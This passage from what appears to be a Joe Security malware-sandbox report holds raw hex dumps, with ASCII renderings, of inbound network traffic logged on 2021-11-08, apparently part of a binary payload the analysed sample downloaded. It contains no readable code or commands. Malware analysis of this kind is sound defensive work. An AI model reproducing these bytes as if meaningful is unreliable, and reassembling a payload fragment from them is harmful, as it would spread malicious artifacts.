fc 0a 23 45 a1 75 35 7d f9 fc c4 Data Ascii: ;O?9{rf`c^@X-V{OZCP].AJ~L*pt_'23l>^e2.BPR9"6Mw7 |]1FcFqzq0$|lI\o_tSF7DyF.+GkkBWD/0}(K;.'Cuu#j"O/X#Eu5}

2021-11-08 19:52:35 UTC 2616 IN Data Raw: 8f c5 8a fe 2d f2 0f 24 7c 29 c2 fd 99 c2 36 05 60 d5 5f 82 10 a4 5e 2e 5d ee 12 32 cf 9c 80 d9 cd 6d 20 9f db 16 c3 81 e3 e3 39 e4 98 8d 5c b7 d4 49 c8 a0 d5 52 be 0b 4f 13 3c eb 16 2e d5 05 9d 6e 0c f6 7e f6 87 75 40 1f 53 7a 86 3a 42 f3 2d ae e6 3a 16 7d d9 49 ad 9c 3e 40 3b d2 3e fb c5 89 f7 f5 14 33 cb 9b fc a6 e8 65 a5 69 fd 63 7c 5e ec fd 75 62 22 a3 d1 fc 51 0c f6 6f 54 72 a3 eb f7 12 84 f4 40 9a db 45 67 81 4a 45 3e 5a ae 58 df ee cd 81 81 e3 a8 29 d4 dd c1 da d7 c9 54 4b 04 5c 50 19 6b 1b 34 08 d5 45 4e 4f 41 d7 d6 d8 15 99 4d 54 95 34 a5 1c d9 26 a1 06 39 f3 15 0e 83 8c 2b 03 f8 4e f3 f9 0a 87 e4 7d 78 62 ca d1 ab 0e b8 8f 8a b8 05 8f d3 67 30 1d 72 57 4b d3 1e 98 82 1c ef c2 fd 28 4c a9 ff 6d c3 0a 9e bf 91 49 42 7d a4 99 f1 75 ee 04 fb 3f 64 Data Ascii: -$|)6`_^.]2m 9\IRO<.n~u@Sz:B-:}I>@;>3eic|^ub"QoTr@EgJE>ZX)TK\Pk4ENOAMT4&9+N}xbg0rWK(LmIB}u?d

2021-11-08 19:52:36 UTC 2632 IN Data Raw: 42 ff d2 81 87 c9 33 bc 46 c0 39 46 4e df 71 63 e2 77 c4 b2 e6 33 75 01 81 ff 1b c4 08 6f f7 46 b8 1b 2f f5 5a 25 4d 79 29 41 b2 af 5d 72 80 b7 7b 3a 49 b5 71 ba b9 d0 4f 2f dc f7 24 11 a3 09 bc ac ec 07 25 0c f3 15 72 d1 18 86 31 41 94 12 31 f7 2b e6 ca 77 f7 fd 7e 98 f2 84 7e b9 e2 82 47 9f 0b 44 ad 71 c6 2b 6c 0b 14 bb 7b 23 ce 0f 6e 08 1b df b7 fa 2e 4c cc 0e e6 fb 05 21 33 72 df 79 47 bf b4 25 f8 bd 76 dd 3a 0a 92 cd de a2 27 c8 75 cb 63 43 48 ed 37 ec 01 94 97 16 24 00 c7 3f 1f 99 4b 1f f1 2b e1 9c 52 da 79 74 d7 d3 be bf 8a 94 7b e8 3f 23 cf 93 bc 11 7e e0 6d bd d5 92 67 f7 81 9b 5a 3b 43 f5 c4 18 20 09 07 ec c8 44 cf 18 5d bd 45 6a f1 57 96 fc 4d 1e fc 3a 88 d6 ff 70 38 9f 7c 20 46 fe b7 b0 aa 9a cf 82 c3 da a0 36 94 47 a3 6b 19 64 47 d3 7d e6 03 Data Ascii: B3F9FNqcw3uoF/Z%My)A]r{:IqO/$%r1A1+w~~GDq+l{#n.L!3ryG%v:'ucCH7$?K+Ryt{?#~mgZ;C D]EjWM:p8| F6GkdG}

2021-11-08 19:52:36 UTC 2648 IN Data Raw: b6 d7 d9 bf b1 83 34 ff aa 99 97 2e 47 24 34 81 db 15 49 5d b8 d8 fd d2 c4 ac 3b ca ab 0f 0a 1f 89 4d d3 56 12 4b be 1d 3d 87 24 5d 8c e3 31 44 2f 63 3d d3 88 84 4f ec cc 2e 6a f2 49 f3 13 5c bf 7d 72 e4 b0 cf 9a 3f 5d f4 05 78 5e 12 b1 af 6c a9 c9 d9 8d 06 aa 3d 41 5c f4 1d 3a e7 fa f1 24 ec 63 21 78 e0 a5 32 ef c8 e7 70 6d 2b e8 ae 64 53 75 63 6a fb bd 20 b0 95 65 9c 74 00 73 32 5f a6 0a 4c 5a 53 b1 02 48 36 b4 98 f7 a6 36 b2 46 bd fb 56 d3 85 94 d9 ef 85 17 ee 2d 64 23 61 e7 4c 02 fd 1e 18 76 68 76 97 79 b9 d0 d0 70 5a 35 44 21 48 10 95 8b 01 4a 8e 4f b7 4e e1 3b 6e 3f 67 3f 14 3d d2 76 85 df 13 98 3c 35 bf 66 93 1b 27 b4 8b e4 b3 c0 50 84 f9 8d 7a fe 16 76 df f5 ed 78 ea 81 d0 e3 08 c1 04 02 04 e4 03 8e 75 a1 c4 be e3 65 26 9f 8d 4a 22 3a ec a1 ae b1 Data Ascii: 4.G$4I];MVK=$]1D/c=O.jI\}r?]x^l=A\:$c!x2pm+dSucj ets2_LZSH66FV-d#aLvhvypZ5D!HJON;n?g?=v<5f'Pzvxue&J":

2021-11-08 19:52:36 UTC 2664 IN Data Raw: 78 2b 0d 7f 67 2b 57 8e 01 dc b7 5a e4 69 e0 82 5a ed 79 ee 64 77 06 b1 a0 3b f9 72 ff 32 0b c2 b0 02 75 66 d3 60 2f 2f c5 dd 23 1f 6c 2e 98 00 c0 97 21 92 98 51 52 f7 c8 6e f7 75 8d 2b de 80 da 5a b4 a8 2e f2 2f 1d 76 b2 9b 3b bf b1 aa 61 70 2c 06 d8 f2 a8 a4 12 1a 0d 78 63 77 55 ec d6 90 4c b5 93 78 23 24 f8 85 e2 36 21 f3 c2 b9 b6 db e8 74 0e 43 58 8d 61 83 03 5e 36 68 f2 37 89 0a d2 26 0b 56 3a 76 75 8c ea 8c 5e dc 00 7b 73 2e 36 99 82 d3 64 05 85 1f 85 c7 bd 32 b7 bd 27 61 a7 c2 ea 91 95 00 74 79 39 a9 d1 4e a0 d2 06 fc fc 5c f2 5a 67 e0 9e d4 ac b6 2b e7 fd 76 f1 45 59 d1 33 e6 e1 2c e2 e6 1b 3f 94 f5 cf 58 74 2c d1 0f 0b 5f 43 19 5e cb 43 71 1b 90 5f 64 d8 fc 16 0b f3 4d cf 02 fe dc 2a 1f 0a 78 d7 d1 60 d5 6a 42 65 22 7e 3d 42 3f 51 fa f8 88 ce dd Data Ascii: x+g+WZiZydw;r2uf`//#l.!QRnu+Z./v;ap,xcwULx#$6!tCXa^6h7&V:vu^{s.6d2'aty9N\Zg+vEY3,?Xt,_C^Cq_dM*x`jBe"~=B?Q

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2021 Page 37 of 51

2021-11-08 19:52:36 UTC 2680 IN Data Raw: 59 48 d8 3f b3 f1 5b c9 4e 63 b3 95 68 58 66 b4 73 fd 54 7f 76 41 1e 8a e9 a7 2a c7 36 ed 47 09 f4 29 b1 b5 59 5e af 21 bb aa 63 55 e7 f8 8e 01 59 ce c7 35 eb aa 73 36 1e c1 ba 2d 78 85 f7 21 33 64 b1 70 b6 7c 3a be c5 70 3b 63 38 fe bb 28 38 a8 0f 67 c2 5e 94 69 b4 12 d9 17 4c 83 9f 43 3a f2 b5 d4 79 8c 7c 4d b5 dd 80 ed 1e 9a 33 87 6c f4 1a f6 67 57eb 49 87 2a 2d fe b7 62 60 30 43 ab a0 7d 54 65 03 8f f0 74 c6 b4 dc b4 ec 2c 84 6f 06 e8 ad 13 41 b7 72 92 cb 4a 02 e2 e9 8a 8d 40 74 79 72 5d d9 1b 7f 6c d3 52 f2 c4 98 a4 49 89 2f 6d 03 c6 b5 33 40 d8 44 b6 99 b8 00 6a d2 59 18 ec ee fe 32 c8 06 13 8c af 47 ec 04 58 57 39 39 9d 06 55 96 1d f2 2b cf 16 98 e0 cf c3 66 85 b9 d7 3a 31 c4 0c c1 de c4 1d e9 b9 05 17 6e 0c a3 d9 c1 c7 d6 5a 0e 8f ea 23 5a e0 c4 Data Ascii: YH?[NchXfsTvA*6G)Y^!cUY5s6-x!3dp|:p;c8(8g^iLC:y|M3lgWI*-b`0C}Tet,oArJ@tyr]lRI/m3@DjY2GXW99U+f:1nZ#Z

2021-11-08 19:52:36 UTC 2696 IN Data Raw: 5f c8 ce 71 11 7a 0c 6e 92 4c 66 1e df 0c c8 d0 1d d2 84 a9 5e 15 51 b6 71 17 66 79 d1 29 ef ce 8b 4d 51 b5 a3 ee b0 38 92 fe 57 db 0c 03 4b 27 49 a0 fa 49 ca f9 a1 8c 10 01 2c 5e 21 f5 df 13 4b ec bb 1f 62 19 af 31 e3 16 61 0e ec 8a ab d9 b7 ff a9 a7 3a fb ca 73 72 3d 0c 72 5c b4 0e a3 0c 10 41 37 c9 df 85 d9 8d 97 f5 96 39 62 b0 7a 1f c9 6d db 1d 75d4 79 46 8e cd 9c c5 ee e9 90 81 59 1f 60 57 cc 8e 15 07 6f 15 20 01 f7 5a b0 26 92 7a e2 f6 60 8c 43 9f 74 08 a6 ab 0e 61 31 66 98 50 79 95 71 cd 20 96 4f 35 66 1b 52 57 0f 4e b1 8c 59 8c 74 b6 35 17 71 cf ec e5 ec 59 69 80 b2 66 33 9f 0d ac f7 c4 de 02 d5 d8 66 24 0b 40 ff f8 8d e3 9f a1 2e df 21 b1 bc 8a 7c de 1c 68 77 3b cc 19 78 ba d7 c5 35 b2 95 bb 9a 99 8f f3 6d 75 86 a8 f5 cb db 90 81 3a c6 60 81 be Data Ascii: _qznLf^Qqfy)MQ8WK'II,^!Kb1a:sr=r\A79bzmuyFY`Wo Z&z`Cta1fPyq O5fRWNYt5qYif3f$@.!|hw;x5mu:`

2021-11-08 19:52:36 UTC 2712 IN Data Raw: 2b 00 71 4b 81 1d 9b 7a a6 3c 8b 0e 63 e0 e0 09 62 78 e3 9c 2c 8a 87 28 fe 0c c7 2c b0 92 79 56 b9 0f 09 a4 5a d8 c8 51 5d 43 81 17 7e 7a 4d 3e e4 60 03 d1 ca a9 74 09 44 4b c2 9c ea 02 39 ee 39 97 8c e2 6a 8c 03 5a 40 d4 9a 42 9f b3 12 89 7f 33 a8 51 fc e6 43 2e 62 e1 9f f3 ca 76 b8 4d 71 45 89 f6 59 8a 60 e0 dc e0 be 61 f9 fa fd 4b 6f e7 d6 f1 1d 0e 64 01 7c 79 a8 da 7f 16 f6 40 32 12 ed 4f 7e 10 0f e6 02 b4 23 9b b7 6a 83 80 c7 b9 f9 43 70 1e 4e d8 9c d8 dd 10 42 c9 df c2 9d 29 eb b5 59 3a 85 49 7e 61 6b eb 23 9b 99 b8 07 32 fd 03 3f cb 9f 8c be b7 7f 10 80 14 1f 2b 3e c8 03 f7 0c 6e ec fa 93 37 2a 98 30 9b 8c 81 d3 c4 5e 9d 2c 39 5f dd d7 d0 6a ce 54 f5 72 5a ea 8a fb a7 8b 47 14 fd c5 e4 a0 f2 31 37f6 2c d2 b6 fb 19 a8 2d d1 f8 07 f9 32 9d 78 92 78 Data Ascii: +qKz<cbx,(,yVZQ]C~zM>`[email protected]`aKod|y@2O~#jCpNB)Y:I~ak#2?+>n7*0^,9_jTrZG17,-2xx

2021-11-08 19:52:36 UTC 2728 IN Data Raw: ef 0d 25 d1 b3 dc c6 1d 6a 5f 43 f3 e0 0b 85 9f f5 39 94 4d 83 73 a8 f6 74 9a eb 07 02 3d 36 52 14 c2 97 23 39 8d 6c 42 06 8d 0d 7c 85 51 30 d7 d5 2b d8 b5 18 41 a9 95 a7 1e e4 17 4a 9c cf 81 09 a1 02 63 66 ca 39 82 22 e9 12 0f a5 ba cb e7 9c 48 83 47 36 3e 89 5a 90 c5 b4 b4 31 19 4a d0 3c 8b 15 c2 67 ac 31 3b 43 c7 eb fb 44 0e d2 ba 14 12 6f 05 b9 80 15 22 8a c9 8a 5e 86 e5 3c 6a a6 71 99 06 91 5f b1 db 06 80 16 f2 c3 8c bb ca 5d f9 e1 8b 7d 43 15 35 a5 ea de 23 5c b2 12 f2 e9 9e 09 93 28 76 c6 83 27 a6 95 e7 28 99 8b 73 f7 91 3c 78 f9 c7 06 0f 11 08 68 07 8d 72 ee 94 e5 17 c2 98 0f a6 ec 5b 44 5f e2 a8 6f b0 d0 9f bb bc f7 6a 63 36 c8 90 72 5c c2 42 52 6e a4 61 7c 9d de 4a 2e d8 69 38 20 7d 2e ec cf 8f c0 f1 a5 ac bb a0 d9 97 a6 cd 53 36 ae 73 d0 42 a0 Data Ascii: %j_C9Mst=6R#9lB|Q0+AJcf9"HG6>Z1J<g1;CDo"^<jq_]}C5#\(v'(s<xhr[D_ojc6r\BRna|J.i8 }.S6sB

2021-11-08 19:52:36 UTC 2744 IN Data Raw: 13 4d 56 03 f7 46 10 e7 fc f2 0e 86 51 2b d8 ec 7e 09 ea 41 03 04 6f ca f5 bd 76 80 29 b4 1f 5b 34 f6 9f 13 74 86 80 07 15 ae 37 b6 cb 15 ea c9 0b 02 1b 98 13 5e 77 c2 11 b9 0e 12 e5 59 ca 61 72 39 79 85 d8 b2 8b f4 43 62 bb 1d b7 e7 2a 8a 7d 5d cb 6a e2 5a 15 47 13 55 63 87 da cb ef 80 66 42 42 c2 af b7 12 78 35 08 b5 09 ba 7b 9d 70 a5 39 d6 a2 46 0a e9 81 fb f9 81 0f a7 0d 33 6b b9 c7 ef 3e 4f c1 5d 05 e2 dd 8d 2d c1 9e 8f 85 6f 80 98 0a 78 48 37 0f 47 9b 8a 8e 18 96 53 81 08 70 b0 73 2e 53 ba 08 d9 ac fd d2 e0 2c db aa ef d6 01 9b 15 b2 b7 c9 d3 67 aa dd 20 0b 29 a8 c3 b3 b7 a5 02 86 72 5a 9e 21 09 da 1e a3 ac 8b 8c fe fb 93 14 e1 ae 86 f0 3c be 38 8f 7c 8b 88 9a 5a 1c 8c 01 3b ac 98 82 de 3a cd 4a 00 75 37 f1 3d 4f f5 5c 88 ce c7 ef ed a3 e2 3e 9c 13 Data Ascii: MVFQ+~Aov)[4t7^wYar9yCb*}]jZGUcfBBx5{p9F3k>O]-oxH7GSps.S,g )rZ!<8|Z;:Ju7=O\>

2021-11-08 19:52:36 UTC 2760 IN Data Raw: c3 3f d7 49 28 1b b9 94 e8 e8 02 50 ae b1 52 dd aa af 3d b4 bc f9 81 b5 d1 5f b2 dd c1 4e 74 87 5e 0d c6 37 04 e8 8f 1f 1c 29 aa 86 a3 d7 93 75 56 18 8d 6b 19 60 ad 61 99 f7 74 21 b4 1e c5 e0 e8 f6 1d 18 96 b8 f9 66 71 b9 33 87 22 c9 53 a6 b3 82 ec 9b 57 6d ca 7f 1e b2 ce 80 c5 be f0 6c 54 52 b0 f2 4c 97 93 8c fa 30 eb 25 6a ff e6 87 a8 69 a9 8e 1f 60 ed 55 9a 17 1a 45 03 96 b8 5a 81 e7 5c c3 80 91 dd 1a 45 91 f2 c3 f9 df 0f dc b7 8c 0f e2 23 f2 df 02 c9 a5 a9 8b ef b0 d4 e5 11 aa 55 77 61 0c ab 76 73 8c 01 a9 43 47 2b 6a cd 01 84 e8 3e 40 3f 9c 7e 96 e1 d6 38 84 f5 7f 0c b9 89 2e ab fc 83 7f 63 84 d4 fc cb c9 9e a2 56 c5 5a 85 df 5b 0d f6 37 28 df 4e 2b b9 32 6d ef 18 37 67 67 17 d6 44 f2 10 9c b1 52 7b 5b 93 b8 34 93 2b 4c 2f 4d ca 6a 3c cb f3 d9 a8 40 Data Ascii: ?I(PR=_Nt^7)uVk`at!fq3"SWmlTRL0%ji`UEZ\E#UwavsCG+j>@?~8.cVZ[7(N+2m7ggDR{[4+L/Mj<@

2021-11-08 19:52:36 UTC 2776 IN Data Raw: 10 33 1c 16 c7 dc cb 83 ef dc c5 25 01 26 5d 73 17 37 57 73 a1 e1 88 26 c2 a9 03 33 44 40 1e 94 67 32 38 4b 9f 9b 59 d4 dc 75 82 ff ae ee 1a d5 b0 d7 14 77 89 46 ed d7 ea 19 1a 3e f5 a2 64 0c 9c 20 db 9c 86 4c 17 39 f2 60 59 a9 dc 1a e2 fe 99 c4 f6 ae 36 f1 e9 c4 18 66 82 36 53 b7 dc f4 6a f5 9c 23 97 ab a7 ef 94 eb 17 d0 e2 ea 26 c7 46 56 6f d4 44 1c 27 46 d0 ff b5 83 9d 5f ec 54 5b 7c 1b 94 a8 b3 d0 f2 c0 4f 95 10 07 f8 bd eb b8 6f 8f 20 a6 54 9d 1e b6 99 ea a3 5b 78 b2 e2 dc fb ce 6f 91 02 a9 b4 ef 9f db cb e2 4e a3 26 34 88 f5 e9 73 6b 83 7c e8 e8 26 10 8f 5f 6a 6f f1 b6 8d 38 97 2b 81 ba 6b e6 8f e3 47 1d 59 d9 0e ae 36 e1 f8 0f e0 4e 4c fd 83 98 eb da f7 a8 33 5c 18 ec 6c de f8 b2 70 31 9d 8b eb 47 5c a3c8 d9 4e 88 0d 89 01 11 7b 6d 54 97 4d cf 61 Data Ascii: 3%&]s7Ws&3D@g28KYuwF>d L9`Y6f6Sj#&FVoD'F_T[|Oo T[xoN&4sk|&_jo8+kGY6NL3\lp1G\N{mTMa

2021-11-08 19:52:37 UTC 2792 IN Data Raw: 2a 40 61 7c 9a ef fc 79 df ca eb 9b d8 cf 9a c1 99 75 49 5b 74 6c cb c7 23 c5 57 00 e1 c9 ec 76 f8 f0 88 f5 16 ac f9 8c df 2a 68 f5 0e 9c 1a 69 88 fe a4 ab b6 08 6d c9 97 96 fd 2f 7d 83 fb bd 45 41 86 40 41 9f 7f d9 6c 83 03 c7 84 85 c3 22 7f bb e8 89 ea 0a 0d ec 48 2f d1 d8 f6 cc b7 4c 2e 54 3d 3a d8 eb 4b 30 39 2f 92 e4 d7 0b 1d 2b ea 9d 14 09 be 54 85 1b bf 25 89 06 3a 97 d9 68 82 c3 57 df 1a f2 29 55 49 9d 5f be cc d4 40 77 c6 d7 b3 80 d4 70 db 45 37 14 ad c0 a5 6b d3 c2 d9 87 71 c5 3a 67 c0 a1 8f e3 59 31 45 7f b4 b8 50 16 ce 5b 20 cf 6a c2 3a 6e 8c 11 c5 94 b9 3b 26 6f 15 c5 8b af ad 23 6a 27 78 8f 73 93 b1 2b 28 0b f3 6e ff e1 0b 6b 54 5b 6c ae 4a 75 28 78 6d 93 be 6d 5a cd 6b 52 d0 41 25 a5 44 5c d9 bc 34 2a 88 a3 74 51 f7 77 e5 f4 de 0d 11 89 93 Data Ascii: *@a|yuI[tl#Wv*him/}EA@Al"H/L.T=:K09/+T%:hW)UI_@wpE7kq:gY1EP[ j:n;&o#j'xs+(nkT[lJu(xmmZkRA%D\4*tQw

2021-11-08 19:52:37 UTC 2808 IN Data Raw: 66 dc ef 26 44 24 30 22 a3 77 f8 41 26 9d fd da 0a 46 c9 49 7d 87 ef fd b2 fb c1 60 c0 3f 23 65 d5 ad 4a 8c 65 6f 83 fd 39 f2 4b 7a c9 66 6e 74 90 7a d9 80 48 da 00 2d 2f 84 da 74 5f f6 80 88 e1 e3 8c ea 80 0f 86 9f 49 fb c9 cb 94 df 6d b1 0e b4 03 32 17 ae 7b f6 c2 90 41 ca 67 18 e2 c3 ee 6c 5e 39 1b 23 72 32 33 b5 34 ee 94 7a b2 1b 44 79 98 78 62 6c 97 59 2c 46 45 5a 3a 4d d9 0d 9e 14 64 0b 01 b9 b2 9f a7 cb 52 81 a7 9f 40 2c af 0b b2 91 36 6d 12 c5 65 6f 9e a7 55 78 bc 5b df 17 0d bc 12 7c d7 c5 da b8 c7 6e 23 74 16 f8 98 58 fe 3e 5f 6a 15 b1 e6 d1 1f aa 29 a9 dd 3b 70 0c ad 06 b4 e1 10 b7 5a 42 2c 5c 4a 1d 2f 7c 56 cb ea b1 05 e3 b7 33 ee e5 f9 2a 8f 08 ad e0 4d 9f 91 15 eb f3 1c 8d 18 d9 f6 8d f3 28 0b c1 e1 62 a6 00 57 19 ff dd 36 5c 42 01 0b e4 41 Data Ascii: f&D$0"wA&FI}`?#eJeo9KzfntzH-/t_Im2{Agl^9#r234zDyxblY,FEZ:MdR@,6meoUx[|n#tX>_j);pZB,\J/|V3*M(bW6\BA

2021-11-08 19:52:37 UTC 2824 IN Data Raw: 1e 4f 24 f8 60 a2 46 0b 4c 38 97 70 c7 6b 73 3e 28 2d 7b 74 3c a6 e1 ec 4b 86 7c fe fc 21 0d fa 7a aa 8c e2 e4 43 a3 ce b2 0b 8b e0 44 8d 87 3d 37 49 c9 7b a2 40 8c 36 16 e5 7c 4f 38 c0 a4 0e a0 96 46 0d d3 b3 ea ae 7f 23 53 11 7b 76 4b be 71 92 16 2b 6b 11 62 7f 78 4a b4 71 d8 23 ad a9 0b e7 91 c9 4b a3 06 51 a9 98 90 1c 78 56 ec 28 f1 42 19 b5 6d 35 49 9e 80 1c 15 4a 64 dd 35 4c 52 cc 7f 88 bb 02 e4 79 b7 d5 f9 13 b0 6b a1 be f6 20 cf 70 4d f1 65 65 f8 17 df fc d1 6b 41 5e 49 f5 e9 35 96 4f 5c 6c bb 5a 6c f7 fa 85 81 c8 b4 f1 21 10 2d a2 cb a9 64 57 14 56 cd 50 ab bd 92 8b 6e c9 6e 2d f5 65 f3 e4 b7 41 fa 93 d9 69 19 bb ab bf 94 91 54 95 33 b9 6a 97 f6 20 89 d5 af 20 18 c9 0a e0 fc 57 22 06 c0 3e 3b 2e 37 4d e7 2a 64 62 3d e3 1b 31 8a d2 38 43 96 fa 33 Data Ascii: O$`FL8pks>(-{t<K|!zCD=7I{@6|O8F#S{vKq+kbxJq#KQxV(Bm5IJd5LRyk pMeekA^I5O\lZl!-dWVPnn-eAiT3j W">;.7M*db=18C3

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2021 Page 38 of 51

2021-11-08 19:52:37 UTC 2840 IN Data Raw: bd 20 5b 6a 3f df 30 43 46 c9 d0 c9 c7 1d 99 dc fa a1 da b5 2c 4e ea 70 36 80 bd dc b1 5b 3e 41 0f f4 79 d4 26 aa dc 99 6d 22 a0 a8 e9 bb d1 da aa ab f7 ad 47 1c 1a c3 f4 9f d8 a7 fc 59 55 5f 61 c9 60 a0 1d 40 e6 72 70 23 3a 56 ea 25 9e c6 2d b9 23 1c aa e5 e4 8c 70 f9 9b 64 61 3e a7 1c b6 5d 27 08 2f 21 77 dc c1 38 e5 55 0d f6 cd 66 fa 4d cc 14 af 88 97 ee 8a 55 2e 63 56 64 56 c6 79 86 ec 33 56 8d 46 38 61 5b 19 f2 8e ed ba 8b 58 eb 8a bf ea 8c 0a 43 13 62 30 4b 40 50 ee 14 fb 7a 9b 34 c8 9f 3e 46 af 1b 52 ae 73 dd 83 37 1d a4 f5 c6 d5 ee 26 0e a6 1c 1c 2b 78 77 08 b2 95 e0 2f 89 23 bc a8 71 be d8 85 81 b9 a1 2f d5 1c 45 1e 20 18 9e 13 88 be bb fb 28 26 1c 5a 33 8e 61 22 b0 09 21 9a a1 19 35 1d 17 67 fc 55 25 c2 31 61 3d 73 7c 84 b8 dd 43 d2 13 87 52 ae Data Ascii: [j?0CF,Np6[>Ay&m"GYU_a`@rp#:V%-#pda>]'/!w8UfMU.cVdVy3VF8a[XCb0K@Pz4>FRs7&+xw/#q/E (&Z3a"!5gU%1a=s|CR

2021-11-08 19:52:38 UTC 2856 IN Data Raw: 01 11 64 a3 af 0b 54 c2 a0 9e 1c 23 c5 c2 68 42 96 60 f6 d2 6e c7 25 ba c9 81 6f 7e 00 de f6 e1 8f 8a 58 d1 2f 2c f3 ce 6e e3 6b f7 64 f2 89 60 7a be 3a f3 bb 48 52 42 b6 d5 c8 9b d3 4c b0 0c b3 74 a8 1b 9f 68 a3 df ee 9f 3a 0f fd f8 aa 49 7f 04 40 45 c1 55 81 f9 fd 2d 43 bc 6e 81 fb 0a 35 2f d4 ad e0 a7 dc fb 42 ef 8a 66 9e ef f1 7a f0 e2 b2 f5 ef 9b 1c 3f 66 54 8b 92 f4 34 65 a8 1b 06 f2 47 b0 61 a0 a0 3a a7 f9 bb 26 7b af 54 5f cb ea 7d 85 25 46 1b 68 eb c9 b2 78 a4 91 b1 fa 80 92 d4 c1 34 94 53 fd 4b 00 0d ab 54 a5 b9 4c fb f1 9c 96 67 0b 95 05 bc 78 b4 12 24 71 a1 ad e4 6d 2b 9e 46 c0 8c 8a ec e0 c4 ea 74 21 76 06 4d f0 c8 c8 7f 31 a4 22 de d1 c7 a8 f8 06 9f a5 e8 37 22 ac c6 52 d5 42 94 ca bb c3 05 ce dc 94 da b9 b8 3b c2 3c 71 17 98 ee 03 b4 2b 87 Data Ascii: dT#hB`n%o~X/,nkd`z:HRBLth:I@EU-Cn5/Bfz?fT4eGa:&{T_}%Fhx4SKTLgx$qm+Ft!vM1"7"RB;<q+

2021-11-08 19:52:38 UTC 2872 IN Data Raw: 18 01 34 89 50 05 a8 dd 45 79 b8 e8 28 21 bc 3b 4a 31 1f 55 f1 88 d8 64 ce e1 ca 4b ab 93 be b0 f5 94 ac 66 49 0a 2b 39 d0 b0 4f 0c c1 73 0a bd 5b 7a 82 88 52 b4 fc 7b 08 56 70 c8 73 5d 68 2a 8d a9 7a 1f 1e 1c a3 fe 14 a9 ed 76 bc a9 9e c5 27 e9 53 88 27 08 a9 78 4b cf 3d 3c d9 c6 76 10 4d df b7 1f 4e 0c 0b ab 6b c1 b7 9a 28 02 1c 6b 9a a4 dc 1c 77 ce df 29 b3 ea fe a2 4b 25 f3 97 ec 0a 04 74 03 82 d6 f6 57 3e ac 7d 7e 9f ee 8c 60 d5 56 02 7c 49 47 78 11 3a e8 10 a5 37 e6 ef 26 92 5b 53 d4 c2 03 30 3f 48 23 92 0c 1f be 85 62 8d f4 0f 93 77 9e 1b 9f d6 36 a0 20 8f ef d5 bb fa d9 f9 1e 81 a3 6d b0 77 dc 6c 2a ee b5 58 c5 bb 71 ad 8e 2b fe c7 8c d6 17 10 7a 34 0b a3 a2 95 fd f7 a9 d8 6c 0d 01 1e b5 22 fb 14 98 80 0a 0d 71 45 2f 95 34 ed 3e 4f 08 44 30 f3 ac Data Ascii: 4PEy(!;J1UdKfI+9Os[zR{Vps]h*zv'S'xK=<vMNk(kw)K%tW>}~`V|IGx:7&[S0?H#bw6 mwl*Xq+z4l"qE/4>OD0

2021-11-08 19:52:38 UTC 2888 IN Data Raw: 14 f1 19 fc 6c da c4 3d 72 8f 8e 14 a5 59 f3 a7 26 77 af 11 ab 9b 69 75 70 db 5e 0a fc 3c 79 a7 f0 f6 25 39 a7 4a c3 48 9c 8c 62 47 9a 7d fc 1e ec cb 4d 89 03 e0 44 98 56 17 63 8b 70 23 ec 3e a4 5f 25 a6 8c 22 fd 8c 04 f5 ff f8 9a 34 66 78 c6 89 51 d6 2a 3e 39 16 4f 63 2a 6f 75 ed a3 a0 31 62 89 0c c1 57 11 3a 32 07 09 f9 7c 51 c7 79 96 4d 9c 34 16 f6 f1 72 92 3c 02 25 d2 26 db 7d de 87 07 06 f2 f8 8f 17 22 c0 37 81 90 5e 3d 5d 85 e8 4d 27 22 0b 51 eb 3b 76 eb 5a 91 d0 fd 90 a5 f9 74 13 95 e8 65 9d 21 cf 15 a7 38 5f 40 df a8 ab 69 80 b1 15 35 7f f0 67 52 da 51 65 e3 7b 87 72 e1 ec e9 b6 31 3e af 68 68 7b 3b 54 df fd 4f 3b 56 d0 20 59 4a 9a b6 c8 40 bd 51 32 ef 9e ca de 76 c8 39 ed db f8 d1 1e f7 80 ff 36 06 7d a0 53 0c 65 2c 19 6c 21 70 f1 41 86 88 81 cb Data Ascii: l=rY&wiup^<y%9JHbG}MDVcp#>_%"4fxQ*>9Oc*ou1bW:2|QyM4r<%&}"7^=]M'"Q;vZte!8_@i5gRQe{r1>hh{;TO;V YJ@Q2v96}Se,l!pA

2021-11-08 19:52:38 UTC 2904 IN Data Raw: d4 ce 27 48 11 b3 c9 60 0f a4 fa f0 4b be b4 31 83 3c ff 35 42 45 bd 7b 03 77 b6 4a 0a 70 83 f5 d6 d5 09 c9 a2 a8 29 16 24 c5 40 d3 4e ed b5 4d 86 b4 e5 99 6a 3f 63 45 23 cf 13 32 da 05 92 12 3f 68 34 01 66 9e f8 7f 09 14 79 6f 02 0c 25 16 4a 31 ef c0 04 00 75 73 1b fa ea 38 0e ca 28 14 4b 69 84 29 7b b8 b0 18 7b 57 d5 b2 61 55 1f 2b 71 bc 52 ef 6a 44 fc cb 39 d0 c3 cc cb 2d 13 51 49 c1 bd bb ef af 5a 49 91 f6 e9 8c a2 e0 ab 2c 81 9b 1a 57 58 45 75 13 7b e9 9a 8e a1 c9 2c fd 8a 39 d5 53 b2 f8 d8 11 d6 bb 9f 1c cb e2 a2 77 88 d4 01 a4 3c 00 3a af 48 68 57 d4 de 75 77 b5 1d 14 96 01 23 28 04 78 f2 82 54 bd 4e db 86 8a 15 13 51 3b 89 77 35 d8 5a d2 4d 3c 98 f9 36 6b 33 db 2d 4f 37 a3 b9 78 10 44 f0 8f 34 5a 93 f2 0a 8f bd d0 94 12 59 81 95 a7 88 7e a9 1e ed Data Ascii: 'H`K1<5BE{wJp)$@NMj?cE#2?h4fyo%J1us8(Ki){{WaU+qRjD9-QIZI,WXEu{,9Sw<:HhWuw#(xTNQ;w5ZM<6k3-O7xD4ZY~

2021-11-08 19:52:39 UTC 2920 IN Data Raw: 80 4e 81 69 09 d2 f5 b5 fa e1 7c 78 59 e9 5e 57 58 56 3a b4 de 69 cf a3 f0 55 22 97 6a ab 90 58 06 68 f6 92 da d7 00 f6 88 a1 a0 d0 39 76 d4 fe 1d 80 86 91 bc 35 5d 37 7e 60 7d f4 d9 10 71 97 4f b3 97 bd 55 59 d7 00 7c 93 9f 3d 1a 59 aa 22 50 d9 8e 80 34 77 f0 2f fb e7 87 21 98 47 82 66 25 51 7e e3 14 04 69 6c 0c cf 06 86 c6 3c 05 07 4a dd be 08 cc f5 bf dc 11 41 38 a1 80 64 dc db 0d 54 40 59 55 9f 7c f8 b2 19 4f cb 27 fd b5 ba bc 06 86 2e d6 5f 2e 48 df 3c ad 08 0f f3 bb cf 65 70 79 f1 1e e8 80 a3 be cd b0 61 14 ec 0b f2 3b 